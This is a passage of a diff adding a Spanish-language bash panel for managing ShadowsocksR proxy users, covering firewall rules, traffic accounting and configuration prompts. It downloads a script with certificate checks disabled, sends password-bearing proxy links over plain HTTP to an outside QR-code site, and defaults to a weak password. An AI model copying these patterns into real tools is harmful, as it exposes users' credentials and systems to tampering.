+	[[ $EUID != 0 ]] && echo -e "${Error} La cuenta actual no es ROOT (no tiene permiso ROOT), no puede continuar la operacion, por favor ${Green_background_prefix} sudo su ${Font_color_suffix} Venga a ROOT (le pedire que ingrese la contraseña de la cuenta actual despues de la ejecucion)" && exit 1
+}
+check_sys(){
+	if [[ -f /etc/redhat-release ]]; then
+		release="centos"
+	elif cat /etc/issue | grep -q -E -i "debian"; then
+		release="debian"
+	elif cat /etc/issue | grep -q -E -i "ubuntu"; then
+		release="ubuntu"
+	elif cat /etc/issue | grep -q -E -i "centos|red hat|redhat"; then
+		release="centos"
+	elif cat /proc/version | grep -q -E -i "debian"; then
+		release="debian"
+	elif cat /proc/version | grep -q -E -i "ubuntu"; then
+		release="ubuntu"
+	elif cat /proc/version | grep -q -E -i "centos|red hat|redhat"; then
+		release="centos"
+    fi
+	bit=`uname -m`
+}
+check_pid(){
+	PID=`ps -ef |grep -v grep | grep server.py |awk '{print $2}'`
+}
+check_crontab(){
+	[[ ! -e "/usr/bin/crontab" ]] && echo -e "${Error}Falta de dependencia Crontab, Por favor, intente instalar manualmente CentOS: yum install crond -y , Debian/Ubuntu: apt-get install cron -y !" && exit 1
+}
+SSR_installation_status(){
+	[[ ! -e ${ssr_folder} ]] && echo -e "${Error}\nShadowsocksR No se encontro la carpeta, por favor verifique\n$(msg -bar)" && exit 1
+}
+Server_Speeder_installation_status(){
+	[[ ! -e ${Server_Speeder_file} ]] && echo -e "${Error}No instalado (Server Speeder), Por favor compruebe!" && exit 1
+}
+LotServer_installation_status(){
+	[[ ! -e ${LotServer_file} ]] && echo -e "${Error}No instalado LotServer, Por favor revise!" && exit 1
+}
+BBR_installation_status(){
+	if [[ ! -e ${BBR_file} ]]; then
+		echo -e "${Error} No encontre el script de BBR, comience a descargar ..."
+		cd "${file}"
+		if ! wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/bbr.sh; then
+			echo -e "${Error} BBR script descargar!" && exit 1
+		else
+			echo -e "${Info} BBR script descarga completa!"
+			chmod +x bbr.sh
+		fi
+	fi
+}
+#Establecer reglas de firewall
+Add_iptables(){
+	if [[ ! -z "${ssr_port}" ]]; then
+		iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${ssr_port} -j ACCEPT
+		iptables -I INPUT -m state --state NEW -m udp -p udp --dport ${ssr_port} -j ACCEPT
+		ip6tables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${ssr_port} -j ACCEPT
+		ip6tables -I INPUT -m state --state NEW -m udp -p udp --dport ${ssr_port} -j ACCEPT
+	fi
+}
+Del_iptables(){
+	if [[ ! -z "${port}" ]]; then
+		iptables -D INPUT -m state --state NEW -m tcp -p tcp --dport ${port} -j ACCEPT
+		iptables -D INPUT -m state --state NEW -m udp -p udp --dport ${port} -j ACCEPT
+		ip6tables -D INPUT -m state --state NEW -m tcp -p tcp --dport ${port} -j ACCEPT
+		ip6tables -D INPUT -m state --state NEW -m udp -p udp --dport ${port} -j ACCEPT
+	fi
+}
+Save_iptables(){
+	if [[ ${release} == "centos" ]]; then
+		service iptables save
+		service ip6tables save
+	else
+		iptables-save > /etc/iptables.up.rules
+		ip6tables-save > /etc/ip6tables.up.rules
+	fi
+}
+Set_iptables(){
+	if [[ ${release} == "centos" ]]; then
+		service iptables save
+		service ip6tables save
+		chkconfig --level 2345 iptables on
+		chkconfig --level 2345 ip6tables on
+	else
+		iptables-save > /etc/iptables.up.rules
+		ip6tables-save > /etc/ip6tables.up.rules
+		echo -e '#!/bin/bash\n/sbin/iptables-restore < /etc/iptables.up.rules\n/sbin/ip6tables-restore < /etc/ip6tables.up.rules' > /etc/network/if-pre-up.d/iptables
+		chmod +x /etc/network/if-pre-up.d/iptables
+	fi
+}
+#Leer la información de configuración
+Get_IP(){
+	ip=$(wget -qO- -t1 -T2 ipinfo.io/ip)
+	if [[ -z "${ip}" ]]; then
+		ip=$(wget -qO- -t1 -T2 api.ip.sb/ip)
+		if [[ -z "${ip}" ]]; then
+			ip=$(wget -qO- -t1 -T2 members.3322.org/dyndns/getip)
+			if [[ -z "${ip}" ]]; then
+				ip="VPS_IP"
+			fi
+		fi
+	fi
+}
+Get_User_info(){
+	Get_user_port=$1
+	user_info_get=$(python mujson_mgr.py -l -p "${Get_user_port}")
+	match_info=$(echo "${user_info_get}"|grep -w "### user ")
+	if [[ -z "${match_info}" ]]; then
+		echo -e "${Error}La adquisicion de informacion del usuario fallo ${Green_font_prefix}[Puerto: ${ssr_port}]${Font_color_suffix} " && exit 1
+	fi
+	user_name=$(echo "${user_info_get}"|grep -w "user :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}')
+msg -bar
+	port=$(echo "${user_info_get}"|grep -w "port :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}')
+msg -bar
+	password=$(echo "${user_info_get}"|grep -w "passwd :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}')
+msg -bar
+	method=$(echo "${user_info_get}"|grep -w "method :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}')
+msg -bar
+	protocol=$(echo "${user_info_get}"|grep -w "protocol :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}')
+msg -bar
+	protocol_param=$(echo "${user_info_get}"|grep -w "protocol_param :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}')
+msg -bar
+	[[ -z ${protocol_param} ]] && protocol_param="0(Ilimitado)"
+msg -bar
+	obfs=$(echo "${user_info_get}"|grep -w "obfs :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}')
+msg -bar
+	#transfer_enable=$(echo "${user_info_get}"|grep -w "transfer_enable :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}'|awk -F "ytes" '{print $1}'|sed 's/KB/ KB/;s/MB/ MB/;s/GB/ GB/;s/TB/ TB/;s/PB/ PB/')
+	#u=$(echo "${user_info_get}"|grep -w "u :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}')
+	#d=$(echo "${user_info_get}"|grep -w "d :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}')
+	forbidden_port=$(echo "${user_info_get}"|grep -w "Puerto prohibido :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}')
+	[[ -z ${forbidden_port} ]] && forbidden_port="Permitir todo"
+msg -bar
+	speed_limit_per_con=$(echo "${user_info_get}"|grep -w "speed_limit_per_con :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}')
+msg -bar
+	speed_limit_per_user=$(echo "${user_info_get}"|grep -w "speed_limit_per_user :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}')
+msg -bar
+	Get_User_transfer "${port}"
+}
+Get_User_transfer(){
+	transfer_port=$1
+	#echo "transfer_port=${transfer_port}"
+	all_port=$(${jq_file} '.[]|.port' ${config_user_mudb_file})
+	#echo "all_port=${all_port}"
+	port_num=$(echo "${all_port}"|grep -nw "${transfer_port}"|awk -F ":" '{print $1}')
+	#echo "port_num=${port_num}"
+	port_num_1=$(expr ${port_num} - 1)
+	#echo "port_num_1=${port_num_1}"
+	transfer_enable_1=$(${jq_file} ".[${port_num_1}].transfer_enable" ${config_user_mudb_file})
+	#echo "transfer_enable_1=${transfer_enable_1}"
+	u_1=$(${jq_file} ".[${port_num_1}].u" ${config_user_mudb_file})
+	#echo "u_1=${u_1}"
+	d_1=$(${jq_file} ".[${port_num_1}].d" ${config_user_mudb_file})
+	#echo "d_1=${d_1}"
+	transfer_enable_Used_2_1=$(expr ${u_1} + ${d_1})
+	#echo "transfer_enable_Used_2_1=${transfer_enable_Used_2_1}"
+	transfer_enable_Used_1=$(expr ${transfer_enable_1} - ${transfer_enable_Used_2_1})
+	#echo "transfer_enable_Used_1=${transfer_enable_Used_1}"
+	
+	
+	if [[ ${transfer_enable_1} -lt 1024 ]]; then
+		transfer_enable="${transfer_enable_1} B"
+	elif [[ ${transfer_enable_1} -lt 1048576 ]]; then
+		transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1024'}')
+		transfer_enable="${transfer_enable} KB"
+	elif [[ ${transfer_enable_1} -lt 1073741824 ]]; then
+		transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1048576'}')
+		transfer_enable="${transfer_enable} MB"
+	elif [[ ${transfer_enable_1} -lt 1099511627776 ]]; then
+		transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1073741824'}')
+		transfer_enable="${transfer_enable} GB"
+	elif [[ ${transfer_enable_1} -lt 1125899906842624 ]]; then
+		transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1099511627776'}')
+		transfer_enable="${transfer_enable} TB"
+	fi
+	#echo "transfer_enable=${transfer_enable}"
+	if [[ ${u_1} -lt 1024 ]]; then
+		u="${u_1} B"
+	elif [[ ${u_1} -lt 1048576 ]]; then
+		u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1024'}')
+		u="${u} KB"
+	elif [[ ${u_1} -lt 1073741824 ]]; then
+		u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1048576'}')
+		u="${u} MB"
+	elif [[ ${u_1} -lt 1099511627776 ]]; then
+		u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1073741824'}')
+		u="${u} GB"
+	elif [[ ${u_1} -lt 1125899906842624 ]]; then
+		u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1099511627776'}')
+		u="${u} TB"
+	fi
+	#echo "u=${u}"
+	if [[ ${d_1} -lt 1024 ]]; then
+		d="${d_1} B"
+	elif [[ ${d_1} -lt 1048576 ]]; then
+		d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1024'}')
+		d="${d} KB"
+	elif [[ ${d_1} -lt 1073741824 ]]; then
+		d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1048576'}')
+		d="${d} MB"
+	elif [[ ${d_1} -lt 1099511627776 ]]; then
+		d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1073741824'}')
+		d="${d} GB"
+	elif [[ ${d_1} -lt 1125899906842624 ]]; then
+		d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1099511627776'}')
+		d="${d} TB"
+	fi
+	#echo "d=${d}"
+	if [[ ${transfer_enable_Used_1} -lt 1024 ]]; then
+		transfer_enable_Used="${transfer_enable_Used_1} B"
+	elif [[ ${transfer_enable_Used_1} -lt 1048576 ]]; then
+		transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1024'}')
+		transfer_enable_Used="${transfer_enable_Used} KB"
+	elif [[ ${transfer_enable_Used_1} -lt 1073741824 ]]; then
+		transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1048576'}')
+		transfer_enable_Used="${transfer_enable_Used} MB"
+	elif [[ ${transfer_enable_Used_1} -lt 1099511627776 ]]; then
+		transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1073741824'}')
+		transfer_enable_Used="${transfer_enable_Used} GB"
+	elif [[ ${transfer_enable_Used_1} -lt 1125899906842624 ]]; then
+		transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1099511627776'}')
+		transfer_enable_Used="${transfer_enable_Used} TB"
+	fi
+	#echo "transfer_enable_Used=${transfer_enable_Used}"
+	if [[ ${transfer_enable_Used_2_1} -lt 1024 ]]; then
+		transfer_enable_Used_2="${transfer_enable_Used_2_1} B"
+	elif [[ ${transfer_enable_Used_2_1} -lt 1048576 ]]; then
+		transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1024'}')
+		transfer_enable_Used_2="${transfer_enable_Used_2} KB"
+	elif [[ ${transfer_enable_Used_2_1} -lt 1073741824 ]]; then
+		transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1048576'}')
+		transfer_enable_Used_2="${transfer_enable_Used_2} MB"
+	elif [[ ${transfer_enable_Used_2_1} -lt 1099511627776 ]]; then
+		transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1073741824'}')
+		transfer_enable_Used_2="${transfer_enable_Used_2} GB"
+	elif [[ ${transfer_enable_Used_2_1} -lt 1125899906842624 ]]; then
+		transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1099511627776'}')
+		transfer_enable_Used_2="${transfer_enable_Used_2} TB"
+	fi
+	#echo "transfer_enable_Used_2=${transfer_enable_Used_2}"
+}
+urlsafe_base64(){
+	date=$(echo -n "$1"|base64|sed ':a;N;s/\n/ /g;ta'|sed 's/ //g;s/=//g;s/+/-/g;s/\//_/g')
+	echo -e "${date}"
+}
+ss_link_qr(){
+	SSbase64=$(urlsafe_base64 "${method}:${password}@${ip}:${port}")
+	SSurl="ss://${SSbase64}"
+	SSQRcode="http://www.codigos-qr.com/qr/php/qr_img.php?d=${SSurl}"
+	ss_link=" SS    Link :\n ${Green_font_prefix}${SSurl}${Font_color_suffix} \n Codigo QR SS:\n ${Green_font_prefix}${SSQRcode}${Font_color_suffix}"
+}
+ssr_link_qr(){
+	SSRprotocol=$(echo ${protocol} | sed 's/_compatible//g')
+	SSRobfs=$(echo ${obfs} | sed 's/_compatible//g')
+	SSRPWDbase64=$(urlsafe_base64 "${password}")
+	SSRbase64=$(urlsafe_base64 "${ip}:${port}:${SSRprotocol}:${method}:${SSRobfs}:${SSRPWDbase64}")
+	SSRurl="ssr://${SSRbase64}"
+	SSRQRcode="http://www.codigos-qr.com/qr/php/qr_img.php?d=${SSRurl}"
+	ssr_link=" SSR   Link :\n ${Red_font_prefix}${SSRurl}${Font_color_suffix} \n Codigo QR SSR:\n ${Red_font_prefix}${SSRQRcode}${Font_color_suffix}"
+}
+ss_ssr_determine(){
+	protocol_suffix=`echo ${protocol} | awk -F "_" '{print $NF}'`
+	obfs_suffix=`echo ${obfs} | awk -F "_" '{print $NF}'`
+	if [[ ${protocol} = "origin" ]]; then
+		if [[ ${obfs} = "plain" ]]; then
+			ss_link_qr
+			ssr_link=""
+		else
+			if [[ ${obfs_suffix} != "compatible" ]]; then
+				ss_link=""
+			else
+				ss_link_qr
+			fi
+		fi
+	else
+		if [[ ${protocol_suffix} != "compatible" ]]; then
+			ss_link=""
+		else
+			if [[ ${obfs_suffix} != "compatible" ]]; then
+				if [[ ${obfs_suffix} = "plain" ]]; then
+					ss_link_qr
+				else
+					ss_link=""
+				fi
+			else
+				ss_link_qr
+			fi
+		fi
+	fi
+	ssr_link_qr
+}
+# Display configuration information
+View_User(){
+clear
+	SSR_installation_status
+	List_port_user
+	while true
+	do
+		echo -e "Ingrese el puerto de usuario para ver la informacion\nde la cuenta completa"
+msg -bar
+		stty erase '^H' && read -p "(Predeterminado: cancelar):" View_user_port
+		[[ -z "${View_user_port}" ]] && echo -e "Cancelado ...\n$(msg -bar)" && exit 1
+		View_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${View_user_port}"',')
+		if [[ ! -z ${View_user} ]]; then
+			Get_User_info "${View_user_port}"
+			View_User_info
+			break
+		else
+			echo -e "${Error} Por favor ingrese el puerto correcto !"
+		fi
+	done
+#read -p "Enter para continuar" enter
+}
+View_User_info(){
+	ip=$(cat ${config_user_api_file}|grep "SERVER_PUB_ADDR = "|awk -F "[']" '{print $2}')
+	[[ -z "${ip}" ]] && Get_IP
+	ss_ssr_determine
+	clear 
+	echo -e " Usuario [{user_name}] Informacion de Cuenta:"
+msg -bar
+    echo -e " PANEL VPS-MX By @Kalix1"
+	
+	echo -e " IP : ${Green_font_prefix}${ip}${Font_color_suffix}"
+
+	echo -e " Puerto : ${Green_font_prefix}${port}${Font_color_suffix}"
+
+	echo -e " Contraseña : ${Green_font_prefix}${password}${Font_color_suffix}"
+
+	echo -e " Encriptacion : ${Green_font_prefix}${method}${Font_color_suffix}"
+
+	echo -e " Protocol : ${Red_font_prefix}${protocol}${Font_color_suffix}"
+
+	echo -e " Obfs : ${Red_font_prefix}${obfs}${Font_color_suffix}"
+
+	echo -e " Limite de dispositivos: ${Green_font_prefix}${protocol_param}${Font_color_suffix}"
+
+	echo -e " Velocidad de subproceso Unico: ${Green_font_prefix}${speed_limit_per_con} KB/S${Font_color_suffix}"
+
+	echo -e " Velocidad Maxima del Usuario: ${Green_font_prefix}${speed_limit_per_user} KB/S${Font_color_suffix}"
+
+	echo -e " Puertos Prohibido: ${Green_font_prefix}${forbidden_port} ${Font_color_suffix}"
+
+	echo -e " Consumo de sus Datos:\n Carga: ${Green_font_prefix}${u}${Font_color_suffix} + Descarga: ${Green_font_prefix}${d}${Font_color_suffix} = ${Green_font_prefix}${transfer_enable_Used_2}${Font_color_suffix}"
+	
+         echo -e " Trafico Restante: ${Green_font_prefix}${transfer_enable_Used} ${Font_color_suffix}"
+msg -bar
+	echo -e " Trafico Total del Usuario: ${Green_font_prefix}${transfer_enable} ${Font_color_suffix}"
+msg -bar
+	echo -e "${ss_link}"
+msg -bar
+	echo -e "${ssr_link}"
+msg -bar
+	echo -e " ${Green_font_prefix} Nota: ${Font_color_suffix}
+ En el navegador, abra el enlace del codigo QR, puede\n ver la imagen del codigo QR."
+msg -bar
+}
+#Configuracion de la informacion de configuracion
+Set_config_user(){
+msg -bar
+	echo -ne "\e[92m 1) Ingrese un nombre al usuario que desea Configurar\n (No repetir, o se marcara incorrectamente!)\n"
+msg -bar
+	stty erase '^H' && read -p "(Predeterminado: VPS-MX):" ssr_user
+	[[ -z "${ssr_user}" ]] && ssr_user="VPS-MX"
+	echo && echo -e "	Nombre de usuario : ${Green_font_prefix}${ssr_user}${Font_color_suffix}" && echo
+}
+Set_config_port(){
+msg -bar
+	while true
+	do
+	echo -e "\e[92m 2) Por favor ingrese un Puerto para el Usuario "
+msg -bar
+	stty erase '^H' && read -p "(Predeterminado: 2525):" ssr_port
+	[[ -z "$ssr_port" ]] && ssr_port="2525"
+	expr ${ssr_port} + 0 &>/dev/null
+	if [[ $? == 0 ]]; then
+		if [[ ${ssr_port} -ge 1 ]] && [[ ${ssr_port} -le 65535 ]]; then
+			echo && echo -e "	Port : ${Green_font_prefix}${ssr_port}${Font_color_suffix}" && echo
+			break
+		else
+			echo -e "${Error} Por favor ingrese el numero correcto (1-65535)"
+		fi
+	else
+		echo -e "${Error} Por favor ingrese el numero correcto (1-65535)"
+	fi
+	done
+}
+Set_config_password(){
+msg -bar
+	echo -e "\e[92m 3) Por favor ingrese una contrasena para el Usuario"
+msg -bar
+	stty erase '^H' && read -p "(Predeterminado: VPS-MX):" ssr_password
+	[[ -z "${ssr_password}" ]] && ssr_password="VPS-MX"
+	echo && echo -e "	contrasena : ${Green_font_prefix}${ssr_password}${Font_color_suffix}" && echo
+}
+Set_config_method(){
+msg -bar
+	echo -e "\e[92m 4) Seleccione tipo de Encriptacion para el Usuario\e[0m
+$(msg -bar)
+ ${Green_font_prefix} 1.${Font_color_suffix} Ninguno
+ ${Green_font_prefix} 2.${Font_color_suffix} rc4
+ ${Green_font_prefix} 3.${Font_color_suffix} rc4-md5
+ ${Green_font_prefix} 4.${Font_color_suffix} rc4-md5-6
+ ${Green_font_prefix} 5.${Font_color_suffix} aes-128-ctr
+ ${Green_font_prefix} 6.${Font_color_suffix} aes-192-ctr
+ ${Green_font_prefix} 7.${Font_color_suffix} aes-256-ctr
+ ${Green_font_prefix} 8.${Font_color_suffix} aes-128-cfb
+ ${Green_font_prefix} 9.${Font_color_suffix} aes-192-cfb
+ ${Green_font_prefix}10.${Font_color_suffix} aes-256-cfb
+ ${Green_font_prefix}11.${Font_color_suffix} aes-128-cfb8
+ ${Green_font_prefix}12.${Font_color_suffix} aes-192-cfb8
+ ${Green_font_prefix}13.${Font_color_suffix} aes-256-cfb8
+ ${Green_font_prefix}14.${Font_color_suffix} salsa20
+ ${Green_font_prefix}15.${Font_color_suffix} chacha20
+ ${Green_font_prefix}16.${Font_color_suffix} chacha20-ietf
+ 
+ ${Red_font_prefix}17.${Font_color_suffix} xsalsa20
+ ${Red_font_prefix}18.${Font_color_suffix} xchacha20
+$(msg -bar)
+ ${Tip} Para salsa20/chacha20-*:\n Porfavor instale libsodium:\n Opcion 4 en menu principal SSRR"
+msg -bar
+	stty erase '^H' && read -p "(Predeterminado: 16. chacha20-ietf):" ssr_method
+msg -bar
+	[[ -z "${ssr_method}" ]] && ssr_method="16"
+	if [[ ${ssr_method} == "1" ]]; then
+		ssr_method="Ninguno"
+	elif [[ ${ssr_method} == "2" ]]; then
+		ssr_method="rc4"
+	elif [[ ${ssr_method} == "3" ]]; then
+		ssr_method="rc4-md5"
+	elif [[ ${ssr_method} == "4" ]]; then
+		ssr_method="rc4-md5-6"
+	elif [[ ${ssr_method} == "5" ]]; then
+		ssr_method="aes-128-ctr"
+	elif [[ ${ssr_method} == "6" ]]; then
+		ssr_method="aes-192-ctr"
+	elif [[ ${ssr_method} == "7" ]]; then
+		ssr_method="aes-256-ctr"
+	elif [[ ${ssr_method} == "8" ]]; then
+		ssr_method="aes-128-cfb"
+	elif [[ ${ssr_method} == "9" ]]; then
+		ssr_method="aes-192-cfb"
+	elif [[ ${ssr_method} == "10" ]]; then
+		ssr_method="aes-256-cfb"
+	elif [[ ${ssr_method} == "11" ]]; then
+		ssr_method="aes-128-cfb8"
+	elif [[ ${ssr_method} == "12" ]]; then
+		ssr_method="aes-192-cfb8"
+	elif [[ ${ssr_method} == "13" ]]; then
+		ssr_method="aes-256-cfb8"
+	elif [[ ${ssr_method} == "14" ]]; then
+		ssr_method="salsa20"
+	elif [[ ${ssr_method} == "15" ]]; then
+		ssr_method="chacha20"
+	elif [[ ${ssr_method} == "16" ]]; then
+		ssr_method="chacha20-ietf"
+	elif [[ ${ssr_method} == "17" ]]; then
+		ssr_method="xsalsa20"
+	elif [[ ${ssr_method} == "18" ]]; then
+		ssr_method="xchacha20"
+	else
+		ssr_method="aes-256-cfb"
+	fi
+	echo && echo -e "	Encriptacion: ${Green_font_prefix}${ssr_method}${Font_color_suffix}" && echo
+}
+Set_config_protocol(){
+msg -bar
+	echo -e "\e[92m 5) Por favor, seleccione un Protocolo
+$(msg -bar)
+ ${Green_font_prefix}1.${Font_color_suffix} origin
+ ${Green_font_prefix}2.${Font_color_suffix} auth_sha1_v4
+ ${Green_font_prefix}3.${Font_color_suffix} auth_aes128_md5
+ ${Green_font_prefix}4.${Font_color_suffix} auth_aes128_sha1
+ ${Green_font_prefix}5.${Font_color_suffix} auth_chain_a
+ ${Green_font_prefix}6.${Font_color_suffix} auth_chain_b
+
+ ${Red_font_prefix}7.${Font_color_suffix} auth_chain_c
+ ${Red_font_prefix}8.${Font_color_suffix} auth_chain_d
+ ${Red_font_prefix}9.${Font_color_suffix} auth_chain_e
+ ${Red_font_prefix}10.${Font_color_suffix} auth_chain_f
+$(msg -bar)
+ ${Tip}\n Si selecciona el protocolo de serie auth_chain_ *:\n Se recomienda establecer el metodo de cifrado en ninguno"
+msg -bar
+	stty erase '^H' && read -p "(Predterminado: 1. origin):" ssr_protocol
+msg -bar
+	[[ -z "${ssr_protocol}" ]] && ssr_protocol="1"
+	if [[ ${ssr_protocol} == "1" ]]; then
+		ssr_protocol="origin"
+	elif [[ ${ssr_protocol} == "2" ]]; then
+		ssr_protocol="auth_sha1_v4"
+	elif [[ ${ssr_protocol} == "3" ]]; then
+		ssr_protocol="auth_aes128_md5"
+	elif [[ ${ssr_protocol} == "4" ]]; then
+		ssr_protocol="auth_aes128_sha1"
+	elif [[ ${ssr_protocol} == "5" ]]; then
+		ssr_protocol="auth_chain_a"
+	elif [[ ${ssr_protocol} == "6" ]]; then
+		ssr_protocol="auth_chain_b"
+	elif [[ ${ssr_protocol} == "7" ]]; then
+		ssr_protocol="auth_chain_c"
+	elif [[ ${ssr_protocol} == "8" ]]; then
+		ssr_protocol="auth_chain_d"
+	elif [[ ${ssr_protocol} == "9" ]]; then
+		ssr_protocol="auth_chain_e"
+	elif [[ ${ssr_protocol} == "10" ]]; then
+		ssr_protocol="auth_chain_f"
+	else
+		ssr_protocol="origin"
+	fi
+	echo && echo -e "	Protocolo : ${Green_font_prefix}${ssr_protocol}${Font_color_suffix}" && echo
+	if [[ ${ssr_protocol} != "origin" ]]; then
+		if [[ ${ssr_protocol} == "auth_sha1_v4" ]]; then
+			stty erase '^H' && read -p "Set protocol plug-in to compatible mode(_compatible)?[Y/n]" ssr_protocol_yn
+			[[ -z "${ssr_protocol_yn}" ]] && ssr_protocol_yn="y"
+			[[ $ssr_protocol_yn == [Yy] ]] && ssr_protocol=${ssr_protocol}"_compatible"
+			echo
+		fi
+	fi
+}
+Set_config_obfs(){
+msg -bar
+	echo -e "\e[92m 6) Por favor, seleccione el metodo OBFS
+$(msg -bar)
+ ${Green_font_prefix}1.${Font_color_suffix} plain
+ ${Green_font_prefix}2.${Font_color_suffix} http_simple
+ ${Green_font_prefix}3.${Font_color_suffix} http_post
+ ${Green_font_prefix}4.${Font_color_suffix} random_head
+ ${Green_font_prefix}5.${Font_color_suffix} tls1.2_ticket_auth
+$(msg -bar)
+  Si elige tls1.2_ticket_auth, entonces el cliente puede\n  elegir tls1.2_ticket_fastauth!"
+msg -bar
+	stty erase '^H' && read -p "(Predeterminado: 5. tls1.2_ticket_auth):" ssr_obfs
+	[[ -z "${ssr_obfs}" ]] && ssr_obfs="5"
+	if [[ ${ssr_obfs} == "1" ]]; then
+		ssr_obfs="plain"
+	elif [[ ${ssr_obfs} == "2" ]]; then
+		ssr_obfs="http_simple"
+	elif [[ ${ssr_obfs} == "3" ]]; then
+		ssr_obfs="http_post"
+	elif [[ ${ssr_obfs} == "4" ]]; then
+		ssr_obfs="random_head"
+	elif [[ ${ssr_obfs} == "5" ]]; then
+		ssr_obfs="tls1.2_ticket_auth"
+	else
+		ssr_obfs="tls1.2_ticket_auth"
+	fi
+	echo && echo -e "	obfs : ${Green_font_prefix}${ssr_obfs}${Font_color_suffix}" && echo
+	msg -bar
+	if [[ ${ssr_obfs} != "plain" ]]; then
+			stty erase '^H' && read -p "Configurar modo Compatible (Para usar SS)? [y/n]: " ssr_obfs_yn
+			[[ -z "${ssr_obfs_yn}" ]] && ssr_obfs_yn="y"
+			[[ $ssr_obfs_yn == [Yy] ]] && ssr_obfs=${ssr_obfs}"_compatible"
+	fi
+}
+Set_config_protocol_param(){
+msg -bar
+	while true
+	do
+	echo -e "\e[92m 7) Limitar Cantidad de Dispositivos Simultaneos\n  ${Green_font_prefix} auth_*La serie no es compatible con la version original. ${Font_color_suffix}"
+msg -bar
+	echo -e "${Tip} Limite de numero de dispositivos:\n Es el numero de clientes que usaran la cuenta\n el minimo recomendado 2."
+msg -bar
+	stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_protocol_param
+	[[ -z "$ssr_protocol_param" ]] && ssr_protocol_param="" && echo && break
+	expr ${ssr_protocol_param} + 0 &>/dev/null
+	if [[ $? == 0 ]]; then
+		if [[ ${ssr_protocol_param} -ge 1 ]] && [[ ${ssr_protocol_param} -le 9999 ]]; then
+			echo && echo -e "	Limite del dispositivo: ${Green_font_prefix}${ssr_protocol_param}${Font_color_suffix}" && echo
+			break
+		else
+			echo -e "${Error} Por favor ingrese el numero correcto (1-9999)"
+		fi
+	else
+		echo -e "${Error} Por favor ingrese el numero correcto (1-9999)"
+	fi
+	done
+}
+Set_config_speed_limit_per_con(){
+msg -bar
+	while true
+	do
+	echo -e "\e[92m 8) Introduzca un Limite de Velocidad x Hilo (en KB/S)"
+msg -bar
+	stty erase '^H' && read -p "(Predterminado: Ilimitado):" ssr_speed_limit_per_con
+msg -bar
+	[[ -z "$ssr_speed_limit_per_con" ]] && ssr_speed_limit_per_con=0 && echo && break
+	expr ${ssr_speed_limit_per_con} + 0 &>/dev/null
+	if [[ $? == 0 ]]; then
+		if [[ ${ssr_speed_limit_per_con} -ge 1 ]] && [[ ${ssr_speed_limit_per_con} -le 131072 ]]; then
+			echo && echo -e "	Velocidad de Subproceso Unico: ${Green_font_prefix}${ssr_speed_limit_per_con} KB/S${Font_color_suffix}" && echo
+			break
+		else
+			echo -e "${Error} Por favor ingrese el numero correcto (1-131072)"
+		fi
+	else
+		echo -e "${Error} Por favor ingrese el numero correcto (1-131072)"
+	fi
+	done
+}
+Set_config_speed_limit_per_user(){
+msg -bar
+	while true
+	do
+	echo -e "\e[92m 9) Introduzca un Limite de Velocidad Maxima (en KB/S)"
+msg -bar
+	echo -e "${Tip} Limite de Velocidad Maxima del Puerto :\n Es la velocidad maxima que ira el Usuario."
+msg -bar
+	stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_speed_limit_per_user
+	[[ -z "$ssr_speed_limit_per_user" ]] && ssr_speed_limit_per_user=0 && echo && break
+	expr ${ssr_speed_limit_per_user} + 0 &>/dev/null
+	if [[ $? == 0 ]]; then
+		if [[ ${ssr_speed_limit_per_user} -ge 1 ]] && [[ ${ssr_speed_limit_per_user} -le 131072 ]]; then
+			echo && echo -e "	Velocidad Maxima del Usuario : ${Green_font_prefix}${ssr_speed_limit_per_user} KB/S${Font_color_suffix}" && echo
+			break
+		else
+			echo -e "${Error} Por favor ingrese el numero correcto (1-131072)"
+		fi
+	else
+		echo -e "${Error} Por favor ingrese el numero correcto (1-131072)"
+	fi
+	done
+}
+Set_config_transfer(){
+msg -bar
+	while true
+	do
+	echo -e "\e[92m 10) Ingrese Cantidad Total de Datos para el Usuario\n   (en GB, 1-838868 GB)"
+msg -bar
